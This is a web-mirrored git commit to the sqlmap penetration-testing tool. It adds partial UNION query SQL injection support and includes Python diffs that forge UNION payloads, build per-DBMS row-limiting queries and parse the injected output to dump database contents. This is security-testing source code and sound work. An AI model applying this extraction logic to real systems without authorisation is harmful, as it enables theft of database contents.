mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 18:43:47 +03:00
Major enhancement to support Partial UNION query SQL injection technique too.
Minor code cleanup.
This commit is contained in:
Bernardo Damele
parent
9dbad512f1
commit
072eb7154c
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@ -4,11 +4,13 @@ sqlmap (0.6.3-1) stable; urgency=low
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(http://portswigger.net/suite/) requests log file path or WebScarab
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proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
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'conversations/' folder path by providing option -l <filepath>;
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* Major enhancement to support Partial UNION query SQL injection
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technique too;
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* Major enhancement to support stacked queries (multiple staatements)
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when the web application supports them which is useful for time based
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blind sql injection test and will be used someday also by takeover
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functionality;
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* Minor enhancement to test if the injectable parameter is affected by
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* Major enhancement to test if the injectable parameter is affected by
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a time based blind SQL injection technique by providing option
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--time-test;
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* Minor enhancement to fingerprint the web server operating system and
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@ -20,6 +22,8 @@ sqlmap (0.6.3-1) stable; urgency=low
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to 10 seconds and must be 3 or higher;
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* Minor enhancement to be able to specify the number of seconds to wait
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between each HTTP request by providing option --delay #;
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* Minor enhancement to be able to get the injection payload --prefix and
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--postfix from user;
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* Minor enhancement to be able to enumerate table columns and dump table
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entries, also when the database name is not provided, by using the
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current database on MySQL and Microsoft SQL Server, the 'public'
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@ -53,12 +53,11 @@ class Agent:
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injection statement to request
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"""
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negValue = ""
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retValue = ""
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if negative == True or conf.paramNegative == True:
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negValue = "-"
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else:
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negValue = ""
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# After identifing the injectable parameter
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if kb.injPlace == "User-Agent":
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@ -231,6 +230,22 @@ class Agent:
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def getFields(self, query):
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"""
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Take in input a query string and return its fields (columns) and
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more details.
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Example:
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Input: SELECT user, password FROM mysql.user
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Output: user,password
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@param query: query to be processed
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@type query: C{str}
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@return: query fields (columns) and more details
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@rtype: C{str}
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"""
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fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
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fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
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fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
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@ -395,5 +410,55 @@ class Agent:
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return inbandQuery
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def limitQuery(self, num, query, fieldsList=None):
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"""
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Take in input a query string and return its limited query string.
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Example:
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Input: SELECT user FROM mysql.users
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Output: SELECT user FROM mysql.users LIMIT <num>, 1
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@param num: limit number
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@type num: C{int}
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@param query: query to be processed
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@type query: C{str}
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@param fieldsList: list of fields within the query
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@type fieldsList: C{list}
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@return: limited query string
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@rtype: C{str}
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"""
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limitedQuery = query
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limitStr = queries[kb.dbms].limit
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fromIndex = limitedQuery.index(" FROM ")
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untilFrom = limitedQuery[:fromIndex]
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fromFrom = limitedQuery[fromIndex+1:]
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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limitStr = queries[kb.dbms].limit % (num, 1)
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limitedQuery += " %s" % limitStr
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elif kb.dbms == "Oracle":
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limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
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limitedQuery = limitedQuery % fromFrom
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limitedQuery += "=%d" % (num + 1)
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elif kb.dbms == "Microsoft SQL Server":
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if re.search(" ORDER BY ", limitedQuery, re.I):
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untilOrderChar = limitedQuery.index(" ORDER BY ")
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limitedQuery = limitedQuery[:untilOrderChar]
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limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
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limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
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limitedQuery += "NOT IN (%s" % (limitStr % num)
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limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
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return limitedQuery
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# SQL agent
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agent = Agent()
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@ -500,6 +500,7 @@ def cleanQuery(query):
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upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
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upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
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upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
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upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
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return upperQuery
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@ -624,3 +625,53 @@ def getRange(count, dump=False, plusOne=False):
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indexRange = range(limitStart - 1, limitStop)
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return indexRange
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def parseUnionPage(output, expression, partial=False, condition=None):
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data = []
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outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
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outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
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if outCond1 or outCond2:
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if outCond1:
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regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
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elif outCond2:
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regExpr = '__START__(.*?)__STOP__'
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output = re.findall(regExpr, output, re.S)
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if condition == None:
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condition = (
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kb.resumedQueries and conf.url in kb.resumedQueries.keys()
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and expression in kb.resumedQueries[conf.url].keys()
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)
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if partial or not condition:
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logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
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dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
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output = set(output)
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for entry in output:
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info = []
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if "__DEL__" in entry:
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entry = entry.split("__DEL__")
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else:
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entry = entry.split(temp.delimiter)
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if len(entry) == 1:
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data.append(entry[0])
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else:
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for value in entry:
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info.append(value)
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data.append(info)
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else:
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data = output
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if len(data) == 1 and isinstance(data[0], str):
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data = data[0]
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return data
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@ -31,6 +31,7 @@ from lib.core.agent import agent
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from lib.core.common import cleanQuery
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from lib.core.common import dataToSessionFile
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import parseUnionPage
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from lib.core.common import readInput
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from lib.core.common import replaceNewlineTabs
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from lib.core.data import conf
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@ -166,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
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if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
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test = "n"
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else:
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message = "does the SQL query that you provide might "
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message += "return multiple entries? [Y/n] "
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message = "can the SQL query provided return "
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message += "multiple entries? [Y/n] "
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test = readInput(message, default="Y")
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if not test or test[0] in ("y", "Y"):
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@ -185,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
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if not count or not count.isdigit():
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count = __goInference(payload, countedExpression)
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if count.isdigit() and int(count) > 0:
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if count and count.isdigit() and int(count) > 0:
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count = int(count)
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message = "the SQL query that you provide can "
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message += "return up to %d entries. How many " % count
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message = "the SQL query provided can return "
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message += "up to %d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit\nChoice: "
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@ -228,48 +229,21 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
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return None
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elif ( not count or int(count) == 0 ):
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warnMsg = "the SQL query that you provided does "
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warnMsg += "not return any output"
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
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warnMsg = "the SQL query that you provided does "
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warnMsg += "not return any output"
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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for num in xrange(startLimit, stopLimit):
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limitedExpr = expression
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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limitStr = queries[kb.dbms].limit % (num, 1)
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limitedExpr += " %s" % limitStr
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elif kb.dbms == "Oracle":
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limitStr = queries[kb.dbms].limit
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fromIndex = limitedExpr.index(" FROM ")
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untilFrom = limitedExpr[:fromIndex]
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fromFrom = limitedExpr[fromIndex+1:]
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limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
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limitedExpr = limitedExpr % fromFrom
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limitedExpr += "=%d" % (num + 1)
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elif kb.dbms == "Microsoft SQL Server":
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if re.search(" ORDER BY ", limitedExpr, re.I):
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untilOrderChar = limitedExpr.index(" ORDER BY ")
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limitedExpr = limitedExpr[:untilOrderChar]
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limitStr = queries[kb.dbms].limit
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fromIndex = limitedExpr.index(" FROM ")
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untilFrom = limitedExpr[:fromIndex]
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fromFrom = limitedExpr[fromIndex+1:]
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limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
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limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
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limitedExpr += "NOT IN (%s" % (limitStr % num)
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limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
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limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
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output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
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outputs.append(output)
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@ -282,6 +256,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
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outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
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returnValue = ", ".join([output for output in outputs])
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else:
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returnValue = __goInference(payload, expression)
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@ -294,7 +269,6 @@ def __goInband(expression, expected=None):
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injection vulnerability on the affected parameter.
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"""
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counter = None
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output = None
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partial = False
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data = []
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@ -311,49 +285,10 @@ def __goInband(expression, expected=None):
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partial = True
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if not output:
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output = unionUse(expression)
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fields = expression.split(",")
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counter = len(fields)
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output = unionUse(expression, resetCounter=True)
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if output:
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outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
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outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
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if outCond1 or outCond2:
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if outCond1:
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regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
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elif outCond2:
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regExpr = '__START__(.*?)__STOP__'
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output = re.findall(regExpr, output, re.S)
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if partial or not condition:
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logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
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dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
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output = set(output)
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for entry in output:
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info = []
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if "__DEL__" in entry:
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entry = entry.split("__DEL__")
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else:
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entry = entry.split(temp.delimiter)
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if len(entry) == 1:
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data.append(entry[0])
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else:
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for value in entry:
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info.append(value)
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data.append(info)
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else:
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data = output
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if len(data) == 1 and isinstance(data[0], str):
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data = data[0]
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data = parseUnionPage(output, expression, partial, condition)
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return data
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@ -373,6 +308,14 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
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if inband and conf.unionUse and kb.dbms:
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value = __goInband(expression, expected)
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if not value:
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warnMsg = "for some reasons it was not possible to retrieve "
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warnMsg += "the query output through inband SQL injection "
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warnMsg += "technique, sqlmap is going blind"
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logger.warn(warnMsg)
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conf.paramNegative = False
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if blind and not value:
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value = __goInferenceProxy(expression, fromUser, expected)
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@ -24,13 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import parseUnionPage
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.data import temp
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.session import setUnion
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@ -38,17 +42,23 @@ from lib.core.unescaper import unescaper
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from lib.parse.html import htmlParser
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from lib.request.connect import Connect as Request
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from lib.techniques.inband.union.test import unionTest
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from lib.utils.resume import resume
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def __unionPosition(count, expression, negative=False):
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reqCount = 0
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def __unionPosition(expression, negative=False):
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global reqCount
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if negative:
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negLogMsg = "partial"
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else:
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negLogMsg = "full"
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logMsg = "confirming %s inband sql injection on parameter " % negLogMsg
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logMsg += "'%s'" % kb.injParameter
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logger.info(logMsg)
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infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
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infoMsg += "'%s'" % kb.injParameter
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logger.info(infoMsg)
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target url is
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@ -72,7 +82,7 @@ def __unionPosition(count, expression, negative=False):
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# Perform the request
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resultPage = Request.queryPage(payload, content=True)
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count += 1
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reqCount += 1
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# We have to assure that the randQuery value is not within the
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# HTML code of the result page because, for instance, it is there
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@ -86,9 +96,9 @@ def __unionPosition(count, expression, negative=False):
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break
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if isinstance(kb.unionPosition, int):
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logMsg = "the target url is affected by an exploitable "
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logMsg += "%s inband sql injection vulnerability" % negLogMsg
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logger.info(logMsg)
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infoMsg = "the target url is affected by an exploitable "
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infoMsg += "%s inband sql injection vulnerability" % negLogMsg
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logger.info(infoMsg)
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else:
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warnMsg = "the target url is not affected by an exploitable "
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warnMsg += "%s inband sql injection vulnerability" % negLogMsg
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@ -99,19 +109,26 @@ def __unionPosition(count, expression, negative=False):
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logger.warn(warnMsg)
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return count
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def unionUse(expression):
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def unionUse(expression, direct=False, unescape=True, resetCounter=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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count = 0
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origExpr = expression
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start = time.time()
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count = None
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origExpr = expression
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start = time.time()
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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global reqCount
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if resetCounter == True:
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reqCount = 0
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if not kb.unionCount:
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unionTest()
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@ -120,18 +137,19 @@ def unionUse(expression):
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return
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# Prepare expression with delimiters
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expression = agent.concatQuery(expression)
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expression = unescaper.unescape(expression)
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if unescape:
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expression = agent.concatQuery(expression)
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expression = unescaper.unescape(expression)
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# Confirm the inband SQL injection and get the exact column
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# position only once
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if not isinstance(kb.unionPosition, int):
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count = __unionPosition(count, expression)
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__unionPosition(expression)
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||||
# Assure that the above function found the exploitable full inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
count = __unionPosition(count, expression, True)
|
||||
__unionPosition(expression, True)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# inband SQL injection position
|
||||
|
|
@ -140,34 +158,134 @@ def unionUse(expression):
|
|||
else:
|
||||
conf.paramNegative = True
|
||||
|
||||
# TODO: if conf.paramNegative == True and query can returns multiple
|
||||
# entries, get once per time in a for cycle, see lib/request/inject.py
|
||||
# like for --sql-query and --sql-shell
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
if conf.paramNegative == True and direct == False:
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
payload = agent.payload(newValue=query)
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are in front of a partial inband sql injection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
logMsg = "query: %s" % query
|
||||
logger.info(logMsg)
|
||||
# We have to check if the SQL query might return multiple entries
|
||||
# and in such case forge the SQL limiting the query output one
|
||||
# entry per time
|
||||
# NOTE: I assume that only queries that get data from a table can
|
||||
# return multiple entries
|
||||
if " FROM " in expression:
|
||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
if limitRegExp:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||
return
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
duration = int(time.time() - start)
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
logMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(logMsg)
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
|
||||
# Parse the returned page to get the exact inband
|
||||
# sql injection output
|
||||
startPosition = resultPage.index(temp.start)
|
||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||
value = str(resultPage[startPosition:endPosition])
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
|
||||
if test == True:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
count = resume(countedExpression, None)
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
output = unionUse(countedExpression, direct=True)
|
||||
|
||||
if output:
|
||||
count = parseUnionPage(output, countedExpression)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
stopLimit = int(count)
|
||||
|
||||
infoMsg = "the SQL query provided returns "
|
||||
infoMsg += "%d entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif ( not count or int(count) == 0 ):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||
|
||||
if output:
|
||||
value += output
|
||||
|
||||
return value
|
||||
|
||||
value = unionUse(expression, direct=True, unescape=False)
|
||||
|
||||
else:
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
infoMsg = "query: %s" % query
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
reqCount += 1
|
||||
|
||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||
return
|
||||
|
||||
# Parse the returned page to get the exact inband
|
||||
# sql injection output
|
||||
startPosition = resultPage.index(temp.start)
|
||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||
value = str(resultPage[startPosition:endPosition])
|
||||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return value
|
||||
|
|
|
|||
|
|
@ -909,17 +909,6 @@ class Enumeration:
|
|||
index += 1
|
||||
|
||||
if not self.dumpedTable:
|
||||
if conf.unionUse:
|
||||
warnMsg = "unable to retrieve the "
|
||||
if conf.col:
|
||||
warnMsg += "columns '%s' " % colString
|
||||
warnMsg += "entries for table '%s' " % conf.tbl
|
||||
warnMsg += "on database '%s'" % conf.db
|
||||
warnMsg += " through UNION query SQL injection, "
|
||||
warnMsg += "probably because it has no entries, going "
|
||||
warnMsg += "blind to confirm"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
infoMsg = "fetching number of "
|
||||
if conf.col:
|
||||
infoMsg += "columns '%s' " % colString
|
||||
|
|
@ -1041,12 +1030,6 @@ class Enumeration:
|
|||
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||
logger.info(infoMsg)
|
||||
|
||||
if query.startswith("select "):
|
||||
query = query.replace("select ", "SELECT ", 1)
|
||||
|
||||
if " from " in query:
|
||||
query = query.replace(" from ", " FROM ")
|
||||
|
||||
output = inject.getValue(query, fromUser=True)
|
||||
|
||||
if output == "Quit":
|
||||
|
|
|
|||
Loading…
Reference in New Issue
Block a user